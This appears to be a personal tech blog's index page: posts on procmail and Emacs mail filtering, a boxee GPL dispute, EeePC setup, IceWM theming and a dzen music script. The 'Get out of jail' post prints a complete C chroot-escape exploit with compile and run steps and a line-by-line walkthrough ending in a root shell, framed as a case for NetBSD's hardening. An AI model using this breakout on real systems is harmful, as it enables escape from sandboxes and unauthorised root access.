Timezones with Procmail

I use procmail to manage my incoming email and mutt to read it. Unfortunately mutt doesn’t handle dates from different timezones very well, so I came up with this procmail recipe using Ruby’s Time#parse method to convert the Date header to the current timezone:

DATE_=`formail -xDate: \
  | expand | sed -e 's/^[ ]*//g' -e 's/[ ]*$//g'`
:0
{
  :0 fwhi
  | formail -i"Date: `ruby -e "require 'time'; p (Time.parse '${DATE_}').rfc2822"`"
}
0
| 0 Comments - Leave A Response | Posted in software | Tagged , , | Edit

boxee

I was recently invited to the boxee (Flash warning) alpha test. Currently the only free platform they support is Ubuntu GNU/Linux, but they do offer unsupported source code download. Unfortunately attached to the download page was a license agreement which, among other things, prevented redistribution and modification of the code. Normally this isn’t really a big deal, I would just boycott the software, but boxee is based off XBMC which is licensed under the GNU GPL and so boxee is obliged to release their modifications under the same license. The license agreement on the site (and in the ./license/ directory in the source code) violated the GPL, and so is against the law.

I started a thread on the subject and emailed boxee with my complaints, after a lengthy argument discussion on the forum I received a reply from boxee expressing their sincerest apologies on the matter and told me the error will be fixed in a matter of days. They then proceeded to make a public apology in my forum thread. I am mightily suprised and impressed with their response, and wish that other companies in the same situation would handle GPL violations in the same way.

That wasn’t the end of the problems though, I have yet to be able to compile it on my x86 Gentoo box. I will be submitting a patch when I do.

0
| 0 Comments - Leave A Response | Posted in software | Tagged , , | Edit

Top-posting

Top posting is the bane of internet mailing lists, the horrors of which are made clear in this example:

A: Because it messes up the order in which people normally read text.

Q: Why is top-posting such a bad thing?

A: Top-posting.

Q: What is the most annoying thing in e-mail?

Luckily GNU Emacs provides tools to combat top-posting and other uglifications like badly wrapped lines in uglify.el packaged with the gnus email client.

I made a mutt.el emacs-lisp file with this in it (thanks to #emacs):

(defun deuglify ()
  "Deuglify messages in batch mode"
  (with-current-buffer
      (get-buffer-create "*Article*")
    (condition-case nil
        (while t
          (insert
           (read-string "") "\n"))
      (error))
    (gnus-outlook-deuglify-article t)
    (princ (buffer-string))
    )
  )

Which provides a function (deuglify) that will be invoked in Emacs’ batch mode, like so:

/usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)'

We can then use procmail which is used by a number of MTAs to create a recipe to pipe all of our messages through:

:0fbhw
| /usr/bin/emacs --batch --load ~/.emacs.d/elisp/mutt.el --eval '(deuglify)'

This will pipe the message headers and body into Emacs and output a pretty email into your inbox you have defined.

0
| 0 Comments - Leave A Response | Posted in software | Tagged , , | Edit

Get out of jail

I recently switched my server to NetBSD for a
number of reasons. Mainly it was the challenge of having a new system,
and the brief experience I had with NetBSD was positive (except screen
on x86_64 failed to detect my terminfo properly). Another deciding
factor was the heightened security available on most BSD systems, Net‐
and OpenBSD in particular. An example of this is NetBSD’s ability to
thwart a number of attack vectors for breaking out of chroot
gaols. The most prominent of which still works on Linux.

A chroot is a system call that traps a process in an environment
with a “fake” root directory so it can only access part of the
filesystem. This is often used when allowing untrusted users access to
your system, which makes this method doubly scary.

All that is needed for this to work is the ability to run a process as
root inside the chroot (being root inside a chroot is the most
common scenario) and the ability to create a directory (a given if you
are root in the chroot)

You can then use this little snippet of C code to break out of the
gaol:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main() {
  int curdir = open(".",O_RDONLY);
  mkdir("the-way-out",1);
  chdir("the-way-out");
  chroot(".");
  fchdir(curdir);
  chdir("../../../../../../../../../..");
  chroot(".");
  system("/bin/sh");
  return 0;
}

You can then compile this with cc breakout.c -static -o breakout and
move it to your chroot through scp or whatever means you want. Run
it, and you will be granted root on the machine without a chroot.

#include 
#include 
#include 
#include 
#include 

This portion is just the necessary libraries for the
functions. fnctl.h is for all the file control stuff.

int main() {
  int curdir = open(".",O_RDONLY);
  mkdir("the-way-out",1);
  chdir("the-way-out");
  chroot(".");

This starts the main program function, creates a new directory and
chroots to it. You will now be chrooted in
/initial/directory/the-way-out. curdir is a file descriptor which
is used later on.

  fchdir(curdir);
  chdir("../../../../../../../../../..");

This will chdir out of your second gaol and into your first one. It
will then chdir you out of your initial chroot and put you
(hopefully) in the real root directory. If you know where you gaol is
on the real filesystem you can use the right number of ../ to get to
/. The curdir file descriptor is used as ../ won’t work from a
straight gaol, it has to be (partly) broken first.

  system("/bin/sh");
  return 0;
}

This will launch the default shell /bin/sh and give you root access to the
whole system. Congratulations, now go tell your administrator to
switch to NetBSD before someone with malicious intent comes along.

2
| 2 Comments | Posted in software | Tagged , , | Edit

Prettifying URLs

Whenever I am writing web apps I always find myself thinking that the filenames in URLs detract from the whole experience. Is there really any need for .html, or .php to be seen by the browser so long as the server knows what it needs to do?

I am always writing the same bits of code to acheive the same goals, so I decided to make a little object-oriented library to do it for me.

Get it here fophillips.org/prettify.tar.bz2. I will do a write-up explaining it some other time.

3
| 3 Comments | Posted in software | Tagged , | Edit

New Digs

I now share a VM with teenlug.com on a wonderful bytemark for a very reasonable price. I now have decent loading times of images.

0
| 0 Comments - Leave A Response | Posted in software | Tagged | Edit

Searching for the Perfect Distro

Since my previous post where I said I would be keeping the default Xandros installation on my EeePC I have installed Eeebuntu. I have been using it for about 2 days now, and after using paludis for a few months it is quite clear how catastrophically abysmal apt really is. I was trying to install darcs which managed to crash apt-get when it was “configuring” it. The same happened everytime I tried dpkg --configure -a, this meant I could not uninstall it until a successful dpkg configure. Which basically just broke it all completely.

As of writing I am midway through installing Arch in hope it will fare better. I was a long time Arch user before switching full time to Gentoo (which I won’t install on my Eee because of compile times).

0
| 0 Comments - Leave A Response | Posted in software | Tagged , | Edit

Theeeming

The default theme for IceWM on the EeePC is an ugly Luna (Windows XP) clone. So I am mashing together the AsusBlue (for the taskbar) and eiskristall for window decorations.

At the moment it looks like this:
intermediate

Get the latest source from my darcs repository and put the directory in /usr/share/icewm/themes and change /etc/X11/icewm/theme to read:

Theme="eeeiskristall/default.theme"
0
| 0 Comments - Leave A Response | Posted in software | Tagged , | Edit

The Eee Has Landed

My EeePC has arrived today. And I can quite safely say it is the best thing I have ever bought.

I was considering putting another distro on here (Gentoo), but now I have been using it all day I don’t really think it needs anything else. I even found the “advanced” interface a bit lacklustre compared to the the “easy” environment. I think IceWM needs a nicer, less Windowsy theme, but other than that the looks and functionality is everything I need. I have my uber efficient desktop running Gentoo and XMonad for if I want to use that sort of thing. I bought this for basically lounging around on the sofa with and taking to and fro from school.

NB: Yes it is running Linux, but with the default Luna-like theme

pr0n:
EeePC

0
| 0 Comments - Leave A Response | Posted in hardware | Tagged | Edit

Amarok in dzen

I use this little script with dzen and dmplex to show the current song info in a little bar at the top of my right-hand screen. You need to make sure you have dcop up and running.

#!/bin/zsh
while true; do
  ARTIST=$(dcop amarok player artist)
  ALBUM=$(dcop amarok player album)
  TITLE=$(dcop amarok player title)
  SONG="${TITLE} - ${ARTIST} (${ALBUM})"

  CURTIME=$(dcop amarok player trackCurrentTime)
  (( CURMINS = $CURTIME / 60 ))
  (( CURSECS = $CURTIME % 60 ))

  TOTTIME=$(dcop amarok player trackTotalTime)
  (( TOTMINS = $TOTTIME / 60 ))
  (( TOTSECS = $TOTTIME % 60 ))

  MEDIA="${SONG} [$(printf '%02d:%02d/%02d:%02d'
         $CURMINS $CURSECS $TOTMINS $TOTSECS)]"
    echo "2 ${MEDIA}"
    sleep 1s
done
0
| 0 Comments - Leave A Response | Posted in software | Tagged , , | Edit